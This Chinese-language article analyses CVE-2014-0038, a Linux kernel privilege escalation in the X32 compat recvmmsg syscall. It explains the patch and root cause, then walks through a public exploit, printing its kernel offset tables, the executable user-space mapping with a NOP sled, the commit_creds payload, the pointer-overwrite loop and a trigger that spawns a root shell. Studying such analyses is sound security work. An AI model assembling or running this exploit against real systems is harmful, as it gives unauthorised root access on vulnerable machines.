關鍵字:CVE-2014-0038,內核漏洞,POC,利用代碼,本地提權,提權,exploit,cve analysis, privilege escalation, cve, kernel vulnerability
簡介
2014年1月31號時,solar在oss-sec郵件列表里公布了該CVE(cve-2014-0038)。這個CVE涉及到X32 ABI。X32 ABI在內核linux3.4中被合并進來,但RHEL/fedora等發行版并沒有開啟該編譯選項,因此未受該CVE影響。Ubuntu系統在近期的版本中開啟了該選項,因此收該CVE影響。X32 ABI就是在64位環境中使用32位地址,效率有所提升,相關信息請參照參考資料或google。
漏洞原理
先看該CVE對應的patch
#!c++
diff --git a/net/compat.c b/net/compat.c
index dd32e34..f50161f 100644
--- a/net/compat.c
+++ b/net/compat.c
@@ -780,21 +780,16 @@ asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg,
if (flags & MSG_CMSG_COMPAT)
return -EINVAL;
- if (COMPAT_USE_64BIT_TIME)
- return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
- flags | MSG_CMSG_COMPAT,
- (struct timespec *) timeout);
-
if (timeout == NULL)
return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
flags | MSG_CMSG_COMPAT, NULL);
- if (get_compat_timespec(&ktspec, timeout))
+ if (compat_get_timespec(&ktspec, timeout))
return -EFAULT;
datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
flags | MSG_CMSG_COMPAT, &ktspec);
- if (datagrams > 0 && put_compat_timespec(&ktspec, timeout))
+ if (datagrams > 0 && compat_put_timespec(&ktspec, timeout))
datagrams = -EFAULT;
return datagrams;
該CVE引入的原因就是沒有對用戶空間的輸入信息進行拷貝處理,直接將用戶空間輸入的timeout
指針傳遞給__sys_recvmmsg
函數進行處理。
正如patch中的修改方式,當timeout
參數非空時,調用compat_get_timespec
先對timetout
進行處理,而該函數會對用戶空間的timeout進行copy處理。
#!c++
int compat_get_timespec(struct timespec *ts, const void __user *uts)
{
if (COMPAT_USE_64BIT_TIME)
return copy_from_user(ts, uts, sizeof *ts) ? -EFAULT : 0;
else
return get_compat_timespec(ts, uts);
}
那么我們再來看傳遞進來的timeout會進行什么操作呢?在 __sys_recvmmsg里面。
#!c++
/*
* Linux recvmmsg interface
*/
int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen,
unsigned int flags, struct timespec *timeout)
{
int fput_needed, err, datagrams;
struct socket *sock;
struct mmsghdr __user *entry;
struct compat_mmsghdr __user *compat_entry;
struct msghdr msg_sys;
struct timespec end_time;
if (timeout &&
poll_select_set_timeout(&end_time, timeout->tv_sec,
timeout->tv_nsec))
return -EINVAL;
datagrams = 0;
sock = sockfd_lookup_light(fd, &err, &fput_needed);
if (!sock)
return err;
err = sock_error(sock->sk);
if (err)
goto out_put;
entry = mmsg;
compat_entry = (struct compat_mmsghdr __user *)mmsg;
while (datagrams < vlen) {
/*
* No need to ask LSM for more than the first datagram.
*/
if (MSG_CMSG_COMPAT & flags) {
err = ___sys_recvmsg(sock, (struct msghdr __user *)compat_entry,
&msg_sys, flags & ~MSG_WAITFORONE,
datagrams);
if (err < 0)
break;
err = __put_user(err, &compat_entry->msg_len);
++compat_entry;
} else {
err = ___sys_recvmsg(sock,
(struct msghdr __user *)entry,
&msg_sys, flags & ~MSG_WAITFORONE,
datagrams);
if (err < 0)
break;
err = put_user(err, &entry->msg_len);
++entry;
}
if (err)
break;
++datagrams;
/* MSG_WAITFORONE turns on MSG_DONTWAIT after one packet */
if (flags & MSG_WAITFORONE)
flags |= MSG_DONTWAIT;
if (timeout) {
ktime_get_ts(timeout);
*timeout = timespec_sub(end_time, *timeout);
if (timeout->tv_sec < 0) {
timeout->tv_sec = timeout->tv_nsec = 0;
break;
}
/* Timeout, return less than vlen datagrams */
if (timeout->tv_nsec == 0 && timeout->tv_sec == 0)
break;
}
/* Out of band data, return right away */
if (msg_sys.msg_flags & MSG_OOB)
break;
}
out_put:
fput_light(sock->file, fput_needed);
if (err == 0)
return datagrams;
if (datagrams != 0) {
/*
* We may return less entries than requested (vlen) if the
* sock is non block and there aren't enough datagrams...
*/
if (err != -EAGAIN) {
/*
* ... or if recvmsg returns an error after we
* received some datagrams, where we record the
* error to return on the next call or if the
* app asks about it using getsockopt(SO_ERROR).
*/
sock->sk->sk_err = -err;
}
return datagrams;
}
return err;
}
該函數中對
#!c++
poll_select_set_timeout(&end_time, timeout->tv_sec,
timeout->tv_nsec))
。設定結束時間。 然后如下的代碼保證timeout>=0
#!c++
if (timeout) {
ktime_get_ts(timeout);
*timeout = timespec_sub(end_time, *timeout);
if (timeout->tv_sec < 0) {
timeout->tv_sec = timeout->tv_nsec = 0;
break;
}
/* Timeout, return less than vlen datagrams */
if (timeout->tv_nsec == 0 && timeout->tv_sec == 0)
break;
}
此外,poll_select_set_timeout會對timespec進行檢查,因此傳遞進來的timeout的tv_sec與tv_nsec必須符合timeout結構體,也就是構造利用地址的時候,地址上下文必須符合特定內容。
#!c++
/*
* Returns true if the timespec is norm, false if denorm:
*/
static inline bool timespec_valid(const struct timespec *ts)
{
/* Dates before 1970 are bogus */
if (ts->tv_sec < 0)
return false;
/* Can't have more nanoseconds then a second */
if ((unsigned long)ts->tv_nsec >= NSEC_PER_SEC)
return false;
return true;
}
而 include/linux/time.h
中的定義:#define NSEC_PER_SEC 1000000000L
。
到這里我們知道,只要巧妙的利用timeout的這個特定,構造特定的timeout結構體就可以構造一個特定的地址出來,這樣我們就實現提權操作了。
利用代碼分析
當前在exploit-db上有2個利用代碼,利用原理基本相同,只是選用的構造地址的結構體不同,本文選用http://www.exploit-db.com/exploits/31347/中的exploit代碼進行分析。
本exploit代碼和其他很多內核提權代碼利用方式大致相同,通過使用有漏洞的系統調用將一個特定的內核函數地址修改成用戶空間地址,然后將提權代碼映射到對應地址的用戶空間中,這樣當用戶調用被修改的特定函數時,內核便執行了相關的提權代碼。以下對應該利用代碼進行詳細說明。
大家都知道,在64位系統中,由于地址較多,內核空間和用戶空間只需通過高幾位是否為0或1進行區分,內核空間地址的范圍是0xffff ffff ffff ffff~0xffff 8000 0000 0000
,而用戶空間的地址范圍是0x0000 7ffff ffff ffff~0x0000 0000 0000 0000
。因此只需使用timeout的流程將高位的1變成0即可。
該exploit代碼使用net_sysctl_root
結構體的net_ctl_permissions
函數指針進行利用。由于各個內核版本中不同函數對應的地址不同,因此定義了一個結構體存放各個內核內核版本的函數地址,這樣就可以在多個寫了特定內核地址的內核上完成提權操作。
#!c++
struct offset {
char *kernel_version;
unsigned long dest; // net_sysctl_root + 96
unsigned long original_value; // net_ctl_permissions
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
};
struct offset offsets[] = {
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
{NULL,0,0,0,0}
};
Exploit程序開始就使用該函數映射結構體對當前內核進行檢查,獲取出要使用的函數地址指針offsets[i]
。
然后使用net_ctl_permissons
的地址進行頁對齊,之后將高6*4位變成0,即設定為用戶空間地址。
#!c++
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
mmapped &= 0x000000ffffffffff;
之后以該地址為基址map一段內存空間,設定該map區域可寫、可執行。先用0x90填充該map區域,構造滑梯。然后將提權代碼拷貝到該map區域。
#!c++
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(mmapped == -1) {
perror("mmap()");
exit(-1);
}
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
perror("mprotect()");
exit(-1);
提權代碼是非常傳統的內核提權代碼,通過調用commit_creds
修改進程creds
數據結構。注意commit_creds
和prepare_kernel_cred
也是由特定于內核版本的內核地址信息獲得,因此也包含在offset結構體中,需要依據特定的內核版本進行設定。
#!c++
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
void __attribute__((regparm(3)))
trampoline()
{
asm("mov $getroot, %rax; call *%rax;");
}
準備環境已經就緒,接下來就需要調用有漏洞的__NR_recvmmsg來進行地址修改。即修改net_sysctl_root
中permissions
指針的數值。
#!c++
static struct ctl_table_root net_sysctl_root = {
.lookup = net_ctl_header_lookup,
.permissions = net_ctl_permissions,
};
而ctl_table_root的定義為:
#!c++
struct ctl_table_root {
struct ctl_table_set default_set;
struct ctl_table_set *(*lookup)(struct ctl_table_root *root,
struct nsproxy *namespaces);
int (*permissions)(struct ctl_table_header *head, struct ctl_table *table);
};
通過計算ctl_table_root
可知:Permissions
的位置為net_sysctl_root+96
。
這樣依次使用系統調用的timeout將.permissions的值的高6*4位從之前的1修改為0即可。
#!c++
for(i=0;i < 3 ;i++) {
udp(i);
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
if(!retval) {
fprintf(stderr,"\nrecvmmsg() failed\n");
}
}
通過使用三次該系統調用,依次將0xFF** **** **** ****
,0x00FF **** **** ****
, 0x0000 FF** **** ****
的FF
修改為00
.
執行完畢后,提權程序成功將permissions
指向了填充了提權代碼的用戶空間中。注意:這里必須從高位開始處理,由于各個程序是并行處理的,因此無法準確的保證timeout值和sleep值完全匹配,又由于timeout值的tv_sec>=0,因此只要從高位依次處理就可以避免借位的情況發生。這里也是結構體選取的條件之一。
由于0xff*3 = 765
,因此該提權程序需要13分鐘才能將permissions
指向的地址值變成用戶空間的地址值。
萬事具備,只欠東風。只要用戶調用修改后的net_sysctl_root->permissions
即可。
#!c++
void trigger() {
open("/proc/sys/net/core/somaxconn",O_RDONLY);
if(getuid() != 0) {
fprintf(stderr,"not root, ya blew it!\n");
exit(-1);
}
fprintf(stderr,"w00p w00p!\n");
system("/bin/sh -i");
}
到此,該CVE分析完畢。不得不說該CVE的原理雖然比較簡單,但實現最后利用修過的手法還是非常巧妙的,值得學習。
參考
1、http://en.wikipedia.org/wiki/X32_ABI